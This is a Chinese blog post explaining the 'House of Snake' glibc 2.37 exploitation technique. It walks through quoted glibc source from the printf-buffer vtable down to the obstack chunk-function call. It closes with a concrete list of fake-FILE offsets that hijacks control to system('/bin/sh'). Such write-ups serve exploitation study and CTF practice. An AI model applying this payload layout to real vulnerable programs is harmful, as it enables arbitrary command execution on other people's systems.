house of snake
196082 慢慢好起来

这house of系列是真的多,上一个还没捂热下一个就来了,glibc更新也是真快。不过能在学习新东西的途中水一篇文章还是相当不错的。

背景介绍

在glibc2.37中_IO_obstack_jumps被删除啦,导致前一篇的利用方式无了。

原理分析

这次聚焦的vtable是:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
static const struct _IO_jump_t _IO_printf_buffer_as_file_jumps libio_vtable =
{
JUMP_INIT_DUMMY,
JUMP_INIT(finish, NULL),
JUMP_INIT(overflow, __printf_buffer_as_file_overflow),
JUMP_INIT(underflow, NULL),
JUMP_INIT(uflow, NULL),
JUMP_INIT(pbackfail, NULL),
JUMP_INIT(xsputn, __printf_buffer_as_file_xsputn),
JUMP_INIT(xsgetn, NULL),
JUMP_INIT(seekoff, NULL),
JUMP_INIT(seekpos, NULL),
JUMP_INIT(setbuf, NULL),
JUMP_INIT(sync, NULL),
JUMP_INIT(doallocate, NULL),
JUMP_INIT(read, NULL),
JUMP_INIT(write, NULL),
JUMP_INIT(seek, NULL),
JUMP_INIT(close, NULL),
JUMP_INIT(stat, NULL),
JUMP_INIT(showmanyc, NULL),
JUMP_INIT(imbue, NULL)
};

可以看到这里只有两个函数,并且我们真正使用的只有第一个函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
static int
__printf_buffer_as_file_overflow (FILE *fp, int ch)
{
struct __printf_buffer_as_file *file = (struct __printf_buffer_as_file *) fp;

__printf_buffer_as_file_commit (file);

/* EOF means only a flush is requested. */
if (ch != EOF)
__printf_buffer_putc (file->next, ch);

/* Ensure that flushing actually produces room. */
if (!__printf_buffer_has_failed (file->next)
&& file->next->write_ptr == file->next->write_end)
__printf_buffer_flush (file->next);

__printf_buffer_as_file_switch_to_buffer (file);

if (!__printf_buffer_has_failed (file->next))
return (unsigned char) ch;
else
return EOF;
}

这个函数一来就是一个强制类型转化为__printf_buffer_as_file结构体。

1
2
3
4
5
6
7
8
9
10
struct __printf_buffer_as_file
{
/* Interface to libio. */
FILE stream;
const struct _IO_jump_t *vtable;

/* Pointer to the underlying buffer. */
struct __printf_buffer *next;
};

可以看到这个结构体的前面两个成员其实就相当于_IO_FILE_plus结构体,再在后面跟了一个指针。

这个函数的目标是执行到__printf_buffer_flush,所以需要通过前面的验证。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
static void
__printf_buffer_as_file_commit (struct __printf_buffer_as_file *file)
{
/* Check that the write pointers in the file stream are consistent
with the next buffer. */
assert (file->stream._IO_write_ptr >= file->next->write_ptr);
assert (file->stream._IO_write_ptr <= file->next->write_end);
assert (file->stream._IO_write_base == file->next->write_base);
assert (file->stream._IO_write_end == file->next->write_end);

file->next->write_ptr = file->stream._IO_write_ptr;
}
static inline void
__printf_buffer_putc (struct __printf_buffer *buf, char ch)
{
if (buf->write_ptr != buf->write_end)
*buf->write_ptr++ = ch;
else
__printf_buffer_putc_1 (buf, ch);
}

这里第一个函数中就是验证了next指针的内容。

1
2
3
4
5
6
7
8
9
10
struct __printf_buffer
{
char *write_base;
char *write_ptr;
char *write_end;
uint64_t written;

/* Identifies the flush callback. */
enum __printf_buffer_mode mode;
};

成功绕过上面的判断之后进入下面这个函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
static void
__printf_buffer_do_flush (struct __printf_buffer *buf)
{
switch (buf->mode)
{
case __printf_buffer_mode_failed:
case __printf_buffer_mode_sprintf:
return;
case __printf_buffer_mode_snprintf:
__printf_buffer_flush_snprintf ((struct __printf_buffer_snprintf *) buf);
return;
case __printf_buffer_mode_sprintf_chk:
__chk_fail ();
break;
case __printf_buffer_mode_to_file:
__printf_buffer_flush_to_file ((struct __printf_buffer_to_file *) buf);
return;
case __printf_buffer_mode_asprintf:
__printf_buffer_flush_asprintf ((struct __printf_buffer_asprintf *) buf);
return;
case __printf_buffer_mode_dprintf:
__printf_buffer_flush_dprintf ((struct __printf_buffer_dprintf *) buf);
return;
case __printf_buffer_mode_strfmon:
__set_errno (E2BIG);
__printf_buffer_mark_failed (buf);
return;
case __printf_buffer_mode_fp:
__printf_buffer_flush_fp ((struct __printf_buffer_fp *) buf);
return;
case __printf_buffer_mode_fp_to_wide:
__printf_buffer_flush_fp_to_wide
((struct __printf_buffer_fp_to_wide *) buf);
return;
case __printf_buffer_mode_fphex_to_wide:
__printf_buffer_flush_fphex_to_wide
((struct __printf_buffer_fphex_to_wide *) buf);
return;
case __printf_buffer_mode_obstack:
__printf_buffer_flush_obstack ((struct __printf_buffer_obstack *) buf);
return;
}
__builtin_trap ();
}

这里最终目标是__printf_buffer_flush_obstack函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
void
__printf_buffer_flush_obstack (struct __printf_buffer_obstack *buf)
{
/* About to switch buffers, so record the bytes written so far. */
buf->base.written += buf->base.write_ptr - buf->base.write_base;

if (buf->base.write_ptr == &buf->ch + 1)
{
/* Errors are reported via a callback mechanism (presumably for
process termination). */
obstack_1grow (buf->obstack, buf->ch);
buf->base.write_base = obstack_next_free (buf->obstack);
buf->base.write_ptr = buf->base.write_base;
size_t size = obstack_room (buf->obstack);
buf->base.write_end = buf->base.write_ptr + size;
/* Reserve the space on the obstack size. */
obstack_blank_fast (buf->obstack, size);
}
else
{
/* Obtain the extra character. */
buf->base.write_base = &buf->ch;
buf->base.write_ptr = &buf->ch;
buf->base.write_end = &buf->ch + 1;
}
}

这个函数的目标就是obstack_1grow,前面的绕过方式很简单,直接绕过就行。

1
2
3
4
5
6
7
# define obstack_1grow(OBSTACK, datum)					      \
__extension__ \
({ struct obstack *__o = (OBSTACK); \
if (__o->next_free + 1 > __o->chunk_limit) \
_obstack_newchunk (__o, 1); \
obstack_1grow_fast (__o, datum); \
(void) 0; })

然后执行这个宏,宏中就有了我们熟悉的_obstack_newchunk函数了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
void
_obstack_newchunk (struct obstack *h, int length)
{
struct _obstack_chunk *old_chunk = h->chunk;
struct _obstack_chunk *new_chunk;
long new_size;
long obj_size = h->next_free - h->object_base;
long i;
long already;
char *object_base;

/* Compute size for new chunk. */
new_size = (obj_size + length) + (obj_size >> 3) + h->alignment_mask + 100;
if (new_size < h->chunk_size)
new_size = h->chunk_size;

/* Allocate and initialize the new chunk. */
new_chunk = CALL_CHUNKFUN (h, new_size);
if (!new_chunk)
(*obstack_alloc_failed_handler)();
h->chunk = new_chunk;
new_chunk->prev = old_chunk;
new_chunk->limit = h->chunk_limit = (char *) new_chunk + new_size;

/* Compute an aligned object_base in the new chunk */
object_base =
__PTR_ALIGN ((char *) new_chunk, new_chunk->contents, h->alignment_mask);

/* Move the existing object to the new chunk.
Word at a time is fast and is safe if the object
is sufficiently aligned. */
if (h->alignment_mask + 1 >= DEFAULT_ALIGNMENT)
{
for (i = obj_size / sizeof (COPYING_UNIT) - 1;
i >= 0; i--)
((COPYING_UNIT *) object_base)[i]
= ((COPYING_UNIT *) h->object_base)[i];
/* We used to copy the odd few remaining bytes as one extra COPYING_UNIT,
but that can cross a page boundary on a machine
which does not do strict alignment for COPYING_UNITS. */
already = obj_size / sizeof (COPYING_UNIT) * sizeof (COPYING_UNIT);
}
else
already = 0;
/* Copy remaining bytes one by one. */
for (i = already; i < obj_size; i++)
object_base[i] = h->object_base[i];

/* If the object just copied was the only data in OLD_CHUNK,
free that chunk and remove it from the chain.
But not if that chunk might contain an empty object. */
if (!h->maybe_empty_object
&& (h->object_base
== __PTR_ALIGN ((char *) old_chunk, old_chunk->contents,
h->alignment_mask)))
{
new_chunk->prev = old_chunk->prev;
CALL_FREEFUN (h, old_chunk);
}

h->object_base = object_base;
h->next_free = h->object_base + obj_size;
/* The new chunk certainly contains no empty object yet. */
h->maybe_empty_object = 0;
}

这里又可以看到我们熟悉的宏CALL_CHUNKFUN:

1
2
3
4
# define CALL_CHUNKFUN(h, size) \
(((h)->use_extra_arg) \
? (*(h)->chunkfun)((h)->extra_arg, (size)) \
: (*(struct _obstack_chunk *(*)(long))(h)->chunkfun)((size)))

(h)->use_extra_arg不为0时即可执行到(h)->chunkfun。现在就是整条链子的调用了。

总结

这里没有一点一点分析每个if语句应该怎么写,这里直接给出总的就行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
*(A + 0x20) = 0;
*(A + 0x28) = A + 0x119;
*(A + 0x30) = A + 0x119;
*(A + 0xd8) = _IO_printf_buffer_as_file_jumps;
*(A + 0xe0) = A + 0xe8;
*(A + 0xe8) = 0;
*(A + 0xf0) = 0;
*(A + 0xf8) = A + 0x119;
*(A + 0x108) = 11;
*(A + 0x110) = A + 0x110;
*(A + 0x128) = 0;
*(A + 0x130) = 0;
*(A + 0x148) = &system;
*(A + 0x158) = &bin_sh;
*(A + 0x160) = 1;

参考链接

https://mp.weixin.qq.com/s?__biz=Mzg4MjcxMTAwMQ==&mid=2247486227&idx=1&sn=3ee610ce260b4a381bd0bcf202a34dec&chksm=cf53cba5f82442b3f750ea969f480f9851793006f9223b04db9c5f7ad67c08a9f8db2661bed3&mpshare=1&scene=23&srcid=03222uDWnBlUHhXPTbaEqKrs&sharer_sharetime=1679449533105&sharer_shareid=6eea79ff6da57fc6752ab0bc570bf392%23rd

 评论
评论插件加载失败
正在加载评论插件
由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务
总字数 335.6k 访客数 访问量